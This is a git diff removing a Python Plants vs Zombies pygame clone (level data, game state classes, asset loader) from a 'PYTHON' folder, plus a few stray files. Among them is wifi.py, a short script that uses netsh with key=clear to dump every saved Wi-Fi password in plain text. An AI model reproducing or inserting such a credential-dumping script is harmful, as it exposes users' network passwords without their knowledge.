"name":"ConeheadZombie"}, - {"time":40000, "map_y":1, "name":"ConeheadZombie"}, - {"time":42000, "map_y":1, "name":"NewspaperZombie"}, - {"time":50000, "map_y":4, "name":"Zombie"}, - {"time":54000, "map_y":3, "name":"NewspaperZombie"}, - {"time":58000, "map_y":1, "name":"FlagZombie"}, - {"time":62000, "map_y":2, "name":"Zombie"}, - {"time":64000, "map_y":1, "name":"ConeheadZombie"}, - {"time":66000, "map_y":2, "name":"Zombie"}, - {"time":68000, "map_y":3, "name":"NewspaperZombie"}, - {"time":70000, "map_y":1, "name":"FlagZombie"}, - {"time":72000, "map_y":4, "name":"BucketheadZombie"}, - {"time":74000, "map_y":0, "name":"FlagZombie"} - ] -} \ No newline at end of file diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/source/main.py b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/source/main.py deleted file mode 100644 index 92fcdc19fe9..00000000000 --- a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/source/main.py +++ /dev/null @@ -1,14 +0,0 @@ -__author__ = 'marble_xu' - -from . import tool -from . import constants as c -from .state import mainmenu, screen, level - -def main(): - game = tool.Control() - state_dict = {c.MAIN_MENU: mainmenu.Menu(), - c.GAME_VICTORY: screen.GameVictoryScreen(), - c.GAME_LOSE: screen.GameLoseScreen(), - c.LEVEL: level.Level()} - game.setup_states(state_dict, c.MAIN_MENU) - game.main() \ No newline at end of file diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/source/state/__pycache__/__init__.cpython-37.pyc b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/source/state/__pycache__/__init__.cpython-37.pyc deleted file mode 100644 index cd7f8f5f641..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/source/state/__pycache__/__init__.cpython-37.pyc and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/source/state/__pycache__/level.cpython-37.pyc b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/source/state/__pycache__/level.cpython-37.pyc deleted file mode 100644 index 5adc56c4526..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/source/state/__pycache__/level.cpython-37.pyc and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/source/state/__pycache__/mainmenu.cpython-37.pyc b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/source/state/__pycache__/mainmenu.cpython-37.pyc deleted file mode 100644 index 35a629b72dc..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/source/state/__pycache__/mainmenu.cpython-37.pyc and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/source/state/__pycache__/screen.cpython-37.pyc b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/source/state/__pycache__/screen.cpython-37.pyc deleted file mode 100644 index 880d4754785..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/source/state/__pycache__/screen.cpython-37.pyc and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/source/state/level.py b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/source/state/level.py deleted file mode 100644 index 133cc28a887..00000000000 --- a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/source/state/level.py +++ /dev/null @@ -1,549 +0,0 @@ -__author__ = 'marble_xu' - -import os -import json -import pygame as pg -from .. import tool -from .. import constants as c -from ..component import map, plant, zombie, menubar - -class Level(tool.State): - def __init__(self): - tool.State.__init__(self) - - def startup(self, current_time, persist): - self.game_info = persist - self.persist = self.game_info - self.game_info[c.CURRENT_TIME] = current_time - self.map_y_len = c.GRID_Y_LEN - self.map = map.Map(c.GRID_X_LEN, self.map_y_len) - - self.loadMap() - self.setupBackground() - self.initState() - - def loadMap(self): - map_file = 'level_' + str(self.game_info[c.LEVEL_NUM]) + '.json' - file_path = os.path.join('source', 'data', 'map', map_file) - f = open(file_path) - self.map_data = json.load(f) - f.close() - - def setupBackground(self): - img_index = self.map_data[c.BACKGROUND_TYPE] - self.background_type = img_index - self.background = tool.GFX[c.BACKGROUND_NAME][img_index] - self.bg_rect = self.background.get_rect() - - self.level = pg.Surface((self.bg_rect.w, self.bg_rect.h)).convert() - self.viewport = tool.SCREEN.get_rect(bottom=self.bg_rect.bottom) - self.viewport.x += c.BACKGROUND_OFFSET_X - - def setupGroups(self): - self.sun_group = pg.sprite.Group() - self.head_group = pg.sprite.Group() - - self.plant_groups = [] - self.zombie_groups = [] - self.hypno_zombie_groups = [] #zombies who are hypno after eating hypnoshroom - self.bullet_groups = [] - for i in range(self.map_y_len): - self.plant_groups.append(pg.sprite.Group()) - self.zombie_groups.append(pg.sprite.Group()) - self.hypno_zombie_groups.append(pg.sprite.Group()) - self.bullet_groups.append(pg.sprite.Group()) - - def setupZombies(self): - def takeTime(element): - return element[0] - - self.zombie_list = [] - for data in self.map_data[c.ZOMBIE_LIST]: - self.zombie_list.append((data['time'], data['name'], data['map_y'])) - self.zombie_start_time = 0 - self.zombie_list.sort(key=takeTime) - - def setupCars(self): - self.cars = [] - for i in range(self.map_y_len): - _, y = self.map.getMapGridPos(0, i) - self.cars.append(plant.Car(-25, y+20, i)) - - def update(self, surface, current_time, mouse_pos, mouse_click): - self.current_time = self.game_info[c.CURRENT_TIME] = current_time - if self.state == c.CHOOSE: - self.choose(mouse_pos, mouse_click) - elif self.state == c.PLAY: - self.play(mouse_pos, mouse_click) - - self.draw(surface) - - def initBowlingMap(self): - print('initBowlingMap') - for x in range(3, self.map.width): - for y in range(self.map.height): - self.map.setMapGridType(x, y, c.MAP_EXIST) - - def initState(self): - if c.CHOOSEBAR_TYPE in self.map_data: - self.bar_type = self.map_data[c.CHOOSEBAR_TYPE] - else: - self.bar_type = c.CHOOSEBAR_STATIC - - if self.bar_type == c.CHOOSEBAR_STATIC: - self.initChoose() - else: - card_pool = menubar.getCardPool(self.map_data[c.CARD_POOL]) - self.initPlay(card_pool) - if self.bar_type == c.CHOSSEBAR_BOWLING: - self.initBowlingMap() - - def initChoose(self): - self.state = c.CHOOSE - self.panel = menubar.Panel(menubar.all_card_list, self.map_data[c.INIT_SUN_NAME]) - - def choose(self, mouse_pos, mouse_click): - if mouse_pos and mouse_click[0]: - self.panel.checkCardClick(mouse_pos) - if self.panel.checkStartButtonClick(mouse_pos): - self.initPlay(self.panel.getSelectedCards()) - - def initPlay(self, card_list): - self.state = c.PLAY - if self.bar_type == c.CHOOSEBAR_STATIC: - self.menubar = menubar.MenuBar(card_list, self.map_data[c.INIT_SUN_NAME]) - else: - self.menubar = menubar.MoveBar(card_list) - self.drag_plant = False - self.hint_image = None - self.hint_plant = False - if self.background_type == c.BACKGROUND_DAY and self.bar_type == c.CHOOSEBAR_STATIC: - self.produce_sun = True - else: - self.produce_sun = False - self.sun_timer = self.current_time - - self.removeMouseImage() - self.setupGroups() - self.setupZombies() - self.setupCars() - - def play(self, mouse_pos, mouse_click): - if self.zombie_start_time == 0: - self.zombie_start_time = self.current_time - elif len(self.zombie_list) > 0: - data = self.zombie_list[0] - if data[0] <= (self.current_time - self.zombie_start_time): - self.createZombie(data[1], data[2]) - self.zombie_list.remove(data) - - for i in range(self.map_y_len): - self.bullet_groups[i].update(self.game_info) - self.plant_groups[i].update(self.game_info) - self.zombie_groups[i].update(self.game_info) - self.hypno_zombie_groups[i].update(self.game_info) - for zombie in self.hypno_zombie_groups[i]: - if zombie.rect.x > c.SCREEN_WIDTH: - zombie.kill() - - self.head_group.update(self.game_info) - self.sun_group.update(self.game_info) - - if not self.drag_plant and mouse_pos and mouse_click[0]: - result = self.menubar.checkCardClick(mouse_pos) - if result: - self.setupMouseImage(result[0], result[1]) - elif self.drag_plant: - if mouse_click[1]: - self.removeMouseImage() - elif mouse_click[0]: - if self.menubar.checkMenuBarClick(mouse_pos): - self.removeMouseImage() - else: - self.addPlant() - elif mouse_pos is None: - self.setupHintImage() - - if self.produce_sun: - if(self.current_time - self.sun_timer) > c.PRODUCE_SUN_INTERVAL: - self.sun_timer = self.current_time - map_x, map_y = self.map.getRandomMapIndex() - x, y = self.map.getMapGridPos(map_x, map_y) - self.sun_group.add(plant.Sun(x, 0, x, y)) - if not self.drag_plant and mouse_pos and mouse_click[0]: - for sun in self.sun_group: - if sun.checkCollision(mouse_pos[0], mouse_pos[1]): - self.menubar.increaseSunValue(sun.sun_value) - - for car in self.cars: - car.update(self.game_info) - - self.menubar.update(self.current_time) - - self.checkBulletCollisions() - self.checkZombieCollisions() - self.checkPlants() - self.checkCarCollisions() - self.checkGameState() - - def createZombie(self, name, map_y): - x, y = self.map.getMapGridPos(0, map_y) - if name == c.NORMAL_ZOMBIE: - self.zombie_groups[map_y].add(zombie.NormalZombie(c.ZOMBIE_START_X, y, self.head_group)) - elif name == c.CONEHEAD_ZOMBIE: - self.zombie_groups[map_y].add(zombie.ConeHeadZombie(c.ZOMBIE_START_X, y, self.head_group)) - elif name == c.BUCKETHEAD_ZOMBIE: - self.zombie_groups[map_y].add(zombie.BucketHeadZombie(c.ZOMBIE_START_X, y, self.head_group)) - elif name == c.FLAG_ZOMBIE: - self.zombie_groups[map_y].add(zombie.FlagZombie(c.ZOMBIE_START_X, y, self.head_group)) - elif name == c.NEWSPAPER_ZOMBIE: - self.zombie_groups[map_y].add(zombie.NewspaperZombie(c.ZOMBIE_START_X, y, self.head_group)) - - def canSeedPlant(self): - x, y = pg.mouse.get_pos() - return self.map.showPlant(x, y) - - def addPlant(self): - pos = self.canSeedPlant() - if pos is None: - return - - if self.hint_image is None: - self.setupHintImage() - x, y = self.hint_rect.centerx, self.hint_rect.bottom - map_x, map_y = self.map.getMapIndex(x, y) - if self.plant_name == c.SUNFLOWER: - new_plant = plant.SunFlower(x, y, self.sun_group) - elif self.plant_name == c.PEASHOOTER: - new_plant = plant.PeaShooter(x, y, self.bullet_groups[map_y]) - elif self.plant_name == c.SNOWPEASHOOTER: - new_plant = plant.SnowPeaShooter(x, y, self.bullet_groups[map_y]) - elif self.plant_name == c.WALLNUT: - new_plant = plant.WallNut(x, y) - elif self.plant_name == c.CHERRYBOMB: - new_plant = plant.CherryBomb(x, y) - elif self.plant_name == c.THREEPEASHOOTER: - new_plant = plant.ThreePeaShooter(x, y, self.bullet_groups, map_y) - elif self.plant_name == c.REPEATERPEA: - new_plant = plant.RepeaterPea(x, y, self.bullet_groups[map_y]) - elif self.plant_name == c.CHOMPER: - new_plant = plant.Chomper(x, y) - elif self.plant_name == c.PUFFSHROOM: - new_plant = plant.PuffShroom(x, y, self.bullet_groups[map_y]) - elif self.plant_name == c.POTATOMINE: - new_plant = plant.PotatoMine(x, y) - elif self.plant_name == c.SQUASH: - new_plant = plant.Squash(x, y) - elif self.plant_name == c.SPIKEWEED: - new_plant = plant.Spikeweed(x, y) - elif self.plant_name == c.JALAPENO: - new_plant = plant.Jalapeno(x, y) - elif self.plant_name == c.SCAREDYSHROOM: - new_plant = plant.ScaredyShroom(x, y, self.bullet_groups[map_y]) - elif self.plant_name == c.SUNSHROOM: - new_plant = plant.SunShroom(x, y, self.sun_group) - elif self.plant_name == c.ICESHROOM: - new_plant = plant.IceShroom(x, y) - elif self.plant_name == c.HYPNOSHROOM: - new_plant = plant.HypnoShroom(x, y) - elif self.plant_name == c.WALLNUTBOWLING: - new_plant = plant.WallNutBowling(x, y, map_y, self) - elif self.plant_name == c.REDWALLNUTBOWLING: - new_plant = plant.RedWallNutBowling(x, y) - - if new_plant.can_sleep and self.background_type == c.BACKGROUND_DAY: - new_plant.setSleep() - self.plant_groups[map_y].add(new_plant) - if self.bar_type == c.CHOOSEBAR_STATIC: - self.menubar.decreaseSunValue(self.select_plant.sun_cost) - self.menubar.setCardFrozenTime(self.plant_name) - else: - self.menubar.deleateCard(self.select_plant) - - if self.bar_type != c.CHOSSEBAR_BOWLING: - self.map.setMapGridType(map_x, map_y, c.MAP_EXIST) - self.removeMouseImage() - #print('addPlant map[%d,%d], grid pos[%d, %d] pos[%d, %d]' % (map_x, map_y, x, y, pos[0], pos[1])) - - def setupHintImage(self): - pos = self.canSeedPlant() - if pos and self.mouse_image: - if (self.hint_image and pos[0] == self.hint_rect.x and - pos[1] == self.hint_rect.y): - return - width, height = self.mouse_rect.w, self.mouse_rect.h - image = pg.Surface([width, height]) - image.blit(self.mouse_image, (0, 0), (0, 0, width, height)) - image.set_colorkey(c.BLACK) - image.set_alpha(128) - self.hint_image = image - self.hint_rect = image.get_rect() - self.hint_rect.centerx = pos[0] - self.hint_rect.bottom = pos[1] - self.hint_plant = True - else: - self.hint_plant = False - - def setupMouseImage(self, plant_name, select_plant): - frame_list = tool.GFX[plant_name] - if plant_name in tool.PLANT_RECT: - data = tool.PLANT_RECT[plant_name] - x, y, width, height = data['x'], data['y'], data['width'], data['height'] - else: - x, y = 0, 0 - rect = frame_list[0].get_rect() - width, height = rect.w, rect.h - - if (plant_name == c.POTATOMINE or plant_name == c.SQUASH or - plant_name == c.SPIKEWEED or plant_name == c.JALAPENO or - plant_name == c.SCAREDYSHROOM or plant_name == c.SUNSHROOM or - plant_name == c.ICESHROOM or plant_name == c.HYPNOSHROOM or - plant_name == c.WALLNUTBOWLING or plant_name == c.REDWALLNUTBOWLING): - color = c.WHITE - else: - color = c.BLACK - self.mouse_image = tool.get_image(frame_list[0], x, y, width, height, color, 1) - self.mouse_rect = self.mouse_image.get_rect() - pg.mouse.set_visible(False) - self.drag_plant = True - self.plant_name = plant_name - self.select_plant = select_plant - - def removeMouseImage(self): - pg.mouse.set_visible(True) - self.drag_plant = False - self.mouse_image = None - self.hint_image = None - self.hint_plant = False - - def checkBulletCollisions(self): - collided_func = pg.sprite.collide_circle_ratio(0.7) - for i in range(self.map_y_len): - for bullet in self.bullet_groups[i]: - if bullet.state == c.FLY: - zombie = pg.sprite.spritecollideany(bullet, self.zombie_groups[i], collided_func) - if zombie and zombie.state != c.DIE: - zombie.setDamage(bullet.damage, bullet.ice) - bullet.setExplode() - - def checkZombieCollisions(self): - if self.bar_type == c.CHOSSEBAR_BOWLING: - ratio = 0.6 - else: - ratio = 0.7 - collided_func = pg.sprite.collide_circle_ratio(ratio) - for i in range(self.map_y_len): - hypo_zombies = [] - for zombie in self.zombie_groups[i]: - if zombie.state != c.WALK: - continue - plant = pg.sprite.spritecollideany(zombie, self.plant_groups[i], collided_func) - if plant: - if plant.name == c.WALLNUTBOWLING: - if plant.canHit(i): - zombie.setDamage(c.WALLNUT_BOWLING_DAMAGE) - plant.changeDirection(i) - elif plant.name == c.REDWALLNUTBOWLING: - if plant.state == c.IDLE: - plant.setAttack() - elif plant.name != c.SPIKEWEED: - zombie.setAttack(plant) - - for hypno_zombie in self.hypno_zombie_groups[i]: - if hypno_zombie.health <= 0: - continue - zombie_list = pg.sprite.spritecollide(hypno_zombie, - self.zombie_groups[i], False,collided_func) - for zombie in zombie_list: - if zombie.state == c.DIE: - continue - if zombie.state == c.WALK: - zombie.setAttack(hypno_zombie, False) - if hypno_zombie.state == c.WALK: - hypno_zombie.setAttack(zombie, False) - - def checkCarCollisions(self): - collided_func = pg.sprite.collide_circle_ratio(0.8) - for car in self.cars: - zombies = pg.sprite.spritecollide(car, self.zombie_groups[car.map_y], False, collided_func) - for zombie in zombies: - if zombie and zombie.state != c.DIE: - car.setWalk() - zombie.setDie() - if car.dead: - self.cars.remove(car) - - def boomZombies(self, x, map_y, y_range, x_range): - for i in range(self.map_y_len): - if abs(i - map_y) > y_range: - continue - for zombie in self.zombie_groups[i]: - if abs(zombie.rect.centerx - x) <= x_range: - zombie.setBoomDie() - - def freezeZombies(self, plant): - for i in range(self.map_y_len): - for zombie in self.zombie_groups[i]: - if zombie.rect.centerx < c.SCREEN_WIDTH: - zombie.setFreeze(plant.trap_frames[0]) - - def killPlant(self, plant): - x, y = plant.getPosition() - map_x, map_y = self.map.getMapIndex(x, y) - if self.bar_type != c.CHOSSEBAR_BOWLING: - self.map.setMapGridType(map_x, map_y, c.MAP_EMPTY) - if (plant.name == c.CHERRYBOMB or plant.name == c.JALAPENO or - (plant.name == c.POTATOMINE and not plant.is_init) or - plant.name == c.REDWALLNUTBOWLING): - self.boomZombies(plant.rect.centerx, map_y, plant.explode_y_range, - plant.explode_x_range) - elif plant.name == c.ICESHROOM and plant.state != c.SLEEP: - self.freezeZombies(plant) - elif plant.name == c.HYPNOSHROOM and plant.state != c.SLEEP: - zombie = plant.kill_zombie - zombie.setHypno() - _, map_y = self.map.getMapIndex(zombie.rect.centerx, zombie.rect.bottom) - self.zombie_groups[map_y].remove(zombie) - self.hypno_zombie_groups[map_y].add(zombie) - plant.kill() - - def checkPlant(self, plant, i): - zombie_len = len(self.zombie_groups[i]) - if plant.name == c.THREEPEASHOOTER: - if plant.state == c.IDLE: - if zombie_len > 0: - plant.setAttack() - elif (i-1) >= 0 and len(self.zombie_groups[i-1]) > 0: - plant.setAttack() - elif (i+1) < self.map_y_len and len(self.zombie_groups[i+1]) > 0: - plant.setAttack() - elif plant.state == c.ATTACK: - if zombie_len > 0: - pass - elif (i-1) >= 0 and len(self.zombie_groups[i-1]) > 0: - pass - elif (i+1) < self.map_y_len and len(self.zombie_groups[i+1]) > 0: - pass - else: - plant.setIdle() - elif plant.name == c.CHOMPER: - for zombie in self.zombie_groups[i]: - if plant.canAttack(zombie): - plant.setAttack(zombie, self.zombie_groups[i]) - break - elif plant.name == c.POTATOMINE: - for zombie in self.zombie_groups[i]: - if plant.canAttack(zombie): - plant.setAttack() - break - elif plant.name == c.SQUASH: - for zombie in self.zombie_groups[i]: - if plant.canAttack(zombie): - plant.setAttack(zombie, self.zombie_groups[i]) - break - elif plant.name == c.SPIKEWEED: - can_attack = False - for zombie in self.zombie_groups[i]: - if plant.canAttack(zombie): - can_attack = True - break - if plant.state == c.IDLE and can_attack: - plant.setAttack(self.zombie_groups[i]) - elif plant.state == c.ATTACK and not can_attack: - plant.setIdle() - elif plant.name == c.SCAREDYSHROOM: - need_cry = False - can_attack = False - for zombie in self.zombie_groups[i]: - if plant.needCry(zombie): - need_cry = True - break - elif plant.canAttack(zombie): - can_attack = True - if need_cry: - if plant.state != c.CRY: - plant.setCry() - elif can_attack: - if plant.state != c.ATTACK: - plant.setAttack() - elif plant.state != c.IDLE: - plant.setIdle() - elif(plant.name == c.WALLNUTBOWLING or - plant.name == c.REDWALLNUTBOWLING): - pass - else: - can_attack = False - if (plant.state == c.IDLE and zombie_len > 0): - for zombie in self.zombie_groups[i]: - if plant.canAttack(zombie): - can_attack = True - break - if plant.state == c.IDLE and can_attack: - plant.setAttack() - elif (plant.state == c.ATTACK and not can_attack): - plant.setIdle() - - def checkPlants(self): - for i in range(self.map_y_len): - for plant in self.plant_groups[i]: - if plant.state != c.SLEEP: - self.checkPlant(plant, i) - if plant.health <= 0: - self.killPlant(plant) - - def checkVictory(self): - if len(self.zombie_list) > 0: - return False - for i in range(self.map_y_len): - if len(self.zombie_groups[i]) > 0: - return False - return True - - def checkLose(self): - for i in range(self.map_y_len): - for zombie in self.zombie_groups[i]: - if zombie.rect.right < 0: - return True - return False - - def checkGameState(self): - if self.checkVictory(): - self.game_info[c.LEVEL_NUM] += 1 - self.next = c.GAME_VICTORY - self.done = True - elif self.checkLose(): - self.next = c.GAME_LOSE - self.done = True - - def drawMouseShow(self, surface): - if self.hint_plant: - surface.blit(self.hint_image, self.hint_rect) - x, y = pg.mouse.get_pos() - self.mouse_rect.centerx = x - self.mouse_rect.centery = y - surface.blit(self.mouse_image, self.mouse_rect) - - def drawZombieFreezeTrap(self, i, surface): - for zombie in self.zombie_groups[i]: - zombie.drawFreezeTrap(surface) - - def draw(self, surface): - self.level.blit(self.background, self.viewport, self.viewport) - surface.blit(self.level, (0,0), self.viewport) - if self.state == c.CHOOSE: - self.panel.draw(surface) - elif self.state == c.PLAY: - self.menubar.draw(surface) - for i in range(self.map_y_len): - self.plant_groups[i].draw(surface) - self.zombie_groups[i].draw(surface) - self.hypno_zombie_groups[i].draw(surface) - self.bullet_groups[i].draw(surface) - self.drawZombieFreezeTrap(i, surface) - for car in self.cars: - car.draw(surface) - self.head_group.draw(surface) - self.sun_group.draw(surface) - - if self.drag_plant: - self.drawMouseShow(surface) \ No newline at end of file diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/source/state/mainmenu.py b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/source/state/mainmenu.py deleted file mode 100644 index 6ac345fe086..00000000000 --- a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/source/state/mainmenu.py +++ /dev/null @@ -1,69 +0,0 @@ -__author__ = 'marble_xu' - -import pygame as pg -from .. import tool -from .. import constants as c - -class Menu(tool.State): - def __init__(self): - tool.State.__init__(self) - - def startup(self, current_time, persist): - self.next = c.LEVEL - self.persist = persist - self.game_info = persist - - self.setupBackground() - self.setupOption() - - def setupBackground(self): - frame_rect = [80, 0, 800, 600] - self.bg_image = tool.get_image(tool.GFX[c.MAIN_MENU_IMAGE], *frame_rect) - self.bg_rect = self.bg_image.get_rect() - self.bg_rect.x = 0 - self.bg_rect.y = 0 - - def setupOption(self): - self.option_frames = [] - frame_names = [c.OPTION_ADVENTURE + '_0', c.OPTION_ADVENTURE + '_1'] - frame_rect = [0, 0, 165, 77] - - for name in frame_names: - self.option_frames.append(tool.get_image(tool.GFX[name], *frame_rect, c.BLACK, 1.7)) - - self.option_frame_index = 0 - self.option_image = self.option_frames[self.option_frame_index] - self.option_rect = self.option_image.get_rect() - self.option_rect.x = 435 - self.option_rect.y = 75 - - self.option_start = 0 - self.option_timer = 0 - self.option_clicked = False - - def checkOptionClick(self, mouse_pos): - x, y = mouse_pos - if(x >= self.option_rect.x and x <= self.option_rect.right and - y >= self.option_rect.y and y <= self.option_rect.bottom): - self.option_clicked = True - self.option_timer = self.option_start = self.current_time - return False - - def update(self, surface, current_time, mouse_pos, mouse_click): - self.current_time = self.game_info[c.CURRENT_TIME] = current_time - - if not self.option_clicked: - if mouse_pos: - self.checkOptionClick(mouse_pos) - else: - if(self.current_time - self.option_timer) > 200: - self.option_frame_index += 1 - if self.option_frame_index >= 2: - self.option_frame_index = 0 - self.option_timer = self.current_time - self.option_image = self.option_frames[self.option_frame_index] - if(self.current_time - self.option_start) > 1300: - self.done = True - - surface.blit(self.bg_image, self.bg_rect) - surface.blit(self.option_image, self.option_rect) \ No newline at end of file diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/source/state/screen.py b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/source/state/screen.py deleted file mode 100644 index a6244602196..00000000000 --- a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/source/state/screen.py +++ /dev/null @@ -1,59 +0,0 @@ -__author__ = 'marble_xu' - -import pygame as pg -from .. import tool -from .. import constants as c - -class Screen(tool.State): - def __init__(self): - tool.State.__init__(self) - self.end_time = 3000 - - def startup(self, current_time, persist): - self.start_time = current_time - self.next = c.LEVEL - self.persist = persist - self.game_info = persist - name = self.getImageName() - self.setupImage(name) - self.next = self.set_next_state() - - def getImageName(self): - pass - - def set_next_state(self): - pass - - def setupImage(self, name): - frame_rect = [0, 0, 800, 600] - self.image = tool.get_image(tool.GFX[name], *frame_rect) - self.rect = self.image.get_rect() - self.rect.x = 0 - self.rect.y = 0 - - def update(self, surface, current_time, mouse_pos, mouse_click): - if(current_time - self.start_time) < self.end_time: - surface.fill(c.WHITE) - surface.blit(self.image, self.rect) - else: - self.done = True - -class GameVictoryScreen(Screen): - def __init__(self): - Screen.__init__(self) - - def getImageName(self): - return c.GAME_VICTORY_IMAGE - - def set_next_state(self): - return c.LEVEL - -class GameLoseScreen(Screen): - def __init__(self): - Screen.__init__(self) - - def getImageName(self): - return c.GAME_LOOSE_IMAGE - - def set_next_state(self): - return c.MAIN_MENU \ No newline at end of file diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/source/tool.py b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/source/tool.py deleted file mode 100644 index 1a319c8c5cb..00000000000 --- a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/source/tool.py +++ /dev/null @@ -1,176 +0,0 @@ -__author__ = 'marble_xu' - -import os -import json -from abc import abstractmethod -import pygame as pg -from . import constants as c - -class State(): - def __init__(self): - self.start_time = 0.0 - self.current_time = 0.0 - self.done = False - self.next = None - self.persist = {} - - @abstractmethod - def startup(self, current_time, persist): - '''abstract method''' - - def cleanup(self): - self.done = False - return self.persist - - @abstractmethod - def update(self, surface, keys, current_time): - '''abstract method''' - -class Control(): - def __init__(self): - self.screen = pg.display.get_surface() - self.done = False - self.clock = pg.time.Clock() - self.fps = 60 - self.keys = pg.key.get_pressed() - self.mouse_pos = None - self.mouse_click = [False, False] # value:[left mouse click, right mouse click] - self.current_time = 0.0 - self.state_dict = {} - self.state_name = None - self.state = None - self.game_info = {c.CURRENT_TIME:0.0, - c.LEVEL_NUM:c.START_LEVEL_NUM} - - def setup_states(self, state_dict, start_state): - self.state_dict = state_dict - self.state_name = start_state - self.state = self.state_dict[self.state_name] - self.state.startup(self.current_time, self.game_info) - - def update(self): - self.current_time = pg.time.get_ticks() - if self.state.done: - self.flip_state() - self.state.update(self.screen, self.current_time, self.mouse_pos, self.mouse_click) - self.mouse_pos = None - self.mouse_click[0] = False - self.mouse_click[1] = False - - def flip_state(self): - previous, self.state_name = self.state_name, self.state.next - persist = self.state.cleanup() - self.state = self.state_dict[self.state_name] - self.state.startup(self.current_time, persist) - - def event_loop(self): - for event in pg.event.get(): - if event.type == pg.QUIT: - self.done = True - elif event.type == pg.KEYDOWN: - self.keys = pg.key.get_pressed() - elif event.type == pg.KEYUP: - self.keys = pg.key.get_pressed() - elif event.type == pg.MOUSEBUTTONDOWN: - self.mouse_pos = pg.mouse.get_pos() - self.mouse_click[0], _, self.mouse_click[1] = pg.mouse.get_pressed() - print('pos:', self.mouse_pos, ' mouse:', self.mouse_click) - - def main(self): - while not self.done: - self.event_loop() - self.update() - pg.display.update() - self.clock.tick(self.fps) - print('game over') - -def get_image(sheet, x, y, width, height, colorkey=c.BLACK, scale=1): - image = pg.Surface([width, height]) - rect = image.get_rect() - - image.blit(sheet, (0, 0), (x, y, width, height)) - image.set_colorkey(colorkey) - image = pg.transform.scale(image, - (int(rect.width*scale), - int(rect.height*scale))) - return image - -def load_image_frames(directory, image_name, colorkey, accept): - frame_list = [] - tmp = {} - # image_name is "Peashooter", pic name is 'Peashooter_1', get the index 1 - index_start = len(image_name) + 1 - frame_num = 0; - for pic in os.listdir(directory): - name, ext = os.path.splitext(pic) - if ext.lower() in accept: - index = int(name[index_start:]) - img = pg.image.load(os.path.join(directory, pic)) - if img.get_alpha(): - img = img.convert_alpha() - else: - img = img.convert() - img.set_colorkey(colorkey) - tmp[index]= img - frame_num += 1 - - for i in range(frame_num): - frame_list.append(tmp[i]) - return frame_list - -def load_all_gfx(directory, colorkey=c.WHITE, accept=('.png', '.jpg', '.bmp', '.gif')): - graphics = {} - for name1 in os.listdir(directory): - # subfolders under the folder resources\graphics - dir1 = os.path.join(directory, name1) - if os.path.isdir(dir1): - for name2 in os.listdir(dir1): - dir2 = os.path.join(dir1, name2) - if os.path.isdir(dir2): - # e.g. subfolders under the folder resources\graphics\Zombies - for name3 in os.listdir(dir2): - dir3 = os.path.join(dir2, name3) - # e.g. subfolders or pics under the folder resources\graphics\Zombies\ConeheadZombie - if os.path.isdir(dir3): - # e.g. it's the folder resources\graphics\Zombies\ConeheadZombie\ConeheadZombieAttack - image_name, _ = os.path.splitext(name3) - graphics[image_name] = load_image_frames(dir3, image_name, colorkey, accept) - else: - # e.g. pics under the folder resources\graphics\Plants\Peashooter - image_name, _ = os.path.splitext(name2) - graphics[image_name] = load_image_frames(dir2, image_name, colorkey, accept) - break - else: - # e.g. pics under the folder resources\graphics\Screen - name, ext = os.path.splitext(name2) - if ext.lower() in accept: - img = pg.image.load(dir2) - if img.get_alpha(): - img = img.convert_alpha() - else: - img = img.convert() - img.set_colorkey(colorkey) - graphics[name] = img - return graphics - -def loadZombieImageRect(): - file_path = os.path.join('source', 'data', 'entity', 'zombie.json') - f = open(file_path) - data = json.load(f) - f.close() - return data[c.ZOMBIE_IMAGE_RECT] - -def loadPlantImageRect(): - file_path = os.path.join('source', 'data', 'entity', 'plant.json') - f = open(file_path) - data = json.load(f) - f.close() - return data[c.PLANT_IMAGE_RECT] - -pg.init() -pg.display.set_caption(c.ORIGINAL_CAPTION) -SCREEN = pg.display.set_mode(c.SCREEN_SIZE) - -GFX = load_all_gfx(os.path.join("resources","graphics")) -ZOMBIE_RECT = loadZombieImageRect() -PLANT_RECT = loadPlantImageRect() diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/wifi.py b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/wifi.py deleted file mode 100644 index 7d8f0951da3..00000000000 --- a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/wifi.py +++ /dev/null @@ -1,11 +0,0 @@ -import subprocess - -data = subprocess.check_output(['netsh', 'wlan', 'show', 'profiles']).decode('utf-8').split('\n') -profiles = [i.split(":")[1][1:-1] for i in data if "All User Profile" in i] -for i in profiles: - results = subprocess.check_output(['netsh', 'wlan', 'show', 'profile', i, 'key=clear']).decode('utf-8').split('\n') - results = [b.split(":")[1][1:-1] for b in results if "Key Content" in b] - try: - print ("{:<30}| {:<}".format(i, results[0])) - except IndexError: - print ("{:<30}| {:<}".format(i, "")) \ No newline at end of file diff --git a/Add Code Here/PYTHON/Quick Sort b/Add Code Here/PYTHON/Quick Sort deleted file mode 100644 index 2388fd93553..00000000000 --- a/Add Code Here/PYTHON/Quick Sort +++ /dev/null @@ -1,85 +0,0 @@ -// Java implementation of QuickSort -import 